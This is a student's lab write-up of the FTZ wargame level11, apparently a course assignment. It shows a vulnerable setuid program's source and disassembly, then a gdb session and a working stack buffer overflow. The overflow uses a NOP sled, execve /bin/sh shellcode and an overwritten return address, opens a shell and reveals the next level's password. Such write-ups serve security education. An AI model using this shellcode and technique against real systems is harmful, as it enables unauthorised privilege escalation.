

전공: AI컴퓨터공학전공

학번: 202111509

이름: 보꾸옥안

```
level11@ftz:~  
-rwsr-x---  1 level12  level11    13733 Mar  8  2003 attackme  
-rw-r-----  1 root    level11      168 Mar  8  2003 hint  
drwxr-xr-x   2 root    level11    4096 Feb 24  2002 public_html  
drwxrwxr-x   2 root    level11    4096 Jan 14  2009 tmp  
[level11@ftz level11]$ cat hint  
  
#include <stdio.h>  
#include <stdlib.h>  
  
int main( int argc, char *argv[] )  
{  
    char str[256];  
  
    setreuid( 3092, 3092 );  
    strcpy( str, argv[1] );  
    printf( str );  
}  
  
[level11@ftz level11]$ gdb -q attackme  
(gdb) set disassembly-flavor intel  
(gdb) disas main  
Dump of assembler code for function main:  
0x08048470 <main+0>:  push    ebp  
0x08048471 <main+1>:  mov     ebp,esp  
0x08048473 <main+3>:  sub     esp,0x108  
0x08048479 <main+9>:  sub     esp,0x8  
0x0804847c <main+12>:  push    0xc14  
0x08048481 <main+17>:  push    0xc14  
0x08048486 <main+22>:  call    0x804834c <setreuid>  
0x0804848b <main+27>:  add     esp,0x10  
0x0804848e <main+30>:  sub     esp,0x8  
0x08048491 <main+33>:  mov     eax,DWORD PTR [ebp+12]  
0x08048494 <main+36>:  add     eax,0x4  
0x08048497 <main+39>:  push    DWORD PTR [eax]  
0x08048499 <main+41>:  lea     eax,[ebp-264]  
0x0804849f <main+47>:  push    eax  
0x080484a0 <main+48>:  call    0x804835c <strcpy>  
0x080484a5 <main+53>:  add     esp,0x10  
0x080484a8 <main+56>:  sub     esp,0xc  
0x080484ab <main+59>:  lea     eax,[ebp-264]  
0x080484b1 <main+65>:  push    eax  
0x080484b2 <main+66>:  call    0x804833c <printf>  
0x080484b7 <main+71>:  add     esp,0x10  
0x080484ba <main+74>:  leave  
0x080484bb <main+75>:  ret  
0x080484bc <main+76>:  nop  
0x080484bd <main+77>:  nop  
0x080484be <main+78>:  nop  
0x080484bf <main+79>:  nop  
End of assembler dump.  
(gdb) 202111509
```

level11@ftz:~/tmp

login as: level11

level11@192.168.2.129's password:

[level11@ftz level11]\$ cp attackme tmp/

[level11@ftz level11]\$ cd tmp

[level11@ftz tmp]\$ gdb -q attackme

(gdb) b *main+53

Breakpoint 1 at 0x80484a5

(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

Starting program: /home/level11/tmp/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

Breakpoint 1, 0x080484a5 in main ()

(gdb) x/100 \$esp

0xbffff5b0:	0xbffff5c0	0xbffffb26	0xbffff5e0	0x00000001
0xbffff5c0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5d0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5f0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff600:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff610:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff620:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff630:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff640:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff650:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff660:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff670:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff680:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff690:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff6a0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff6b0:	0x31909090	0x2f6850c0	0x6868732f	0x6e69622f
0xbffff6c0:	0x5350e389	0xd231e189	0x80cd0bb0	0x41414141
0xbffff6d0:	0x00000000	0xbffff714	0xbffff720	0x4001582c
0xbffff6e0:	0x00000002	0x08048370	0x00000000	0x08048391
0xbffff6f0:	0x08048470	0x00000002	0xbffff714	0x080482e4
0xbffff700:	0x08048500	0x4000c660	0xbffff70c	0x00000000
0xbffff710:	0x00000002	0xbffffb0b	0xbffffb26	0x00000000

---Type <return> to continue, or q <return> to quit---

0xbffff720:	0xbffffc37	0xbffffc55	0xbffffc65	0xbffffc70
0xbffff730:	0xbffffc7e	0xbffffc9e	0xbffffcb1	0xbffffcbe

(gdb) 202111509

```
level11@ftz:~  
(gdb) Quit  
The program is running.  Exit anyway? (y or n) y  
[level11@ftz tmp]$ cd ..  
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+" \x40\xfb\xff\xbf"'`  
sh-2.05b$ my-pass  
TERM environment variable not set.  
  
Level12 Password is "it is like this".  
  
sh-2.05b$ 202111509
```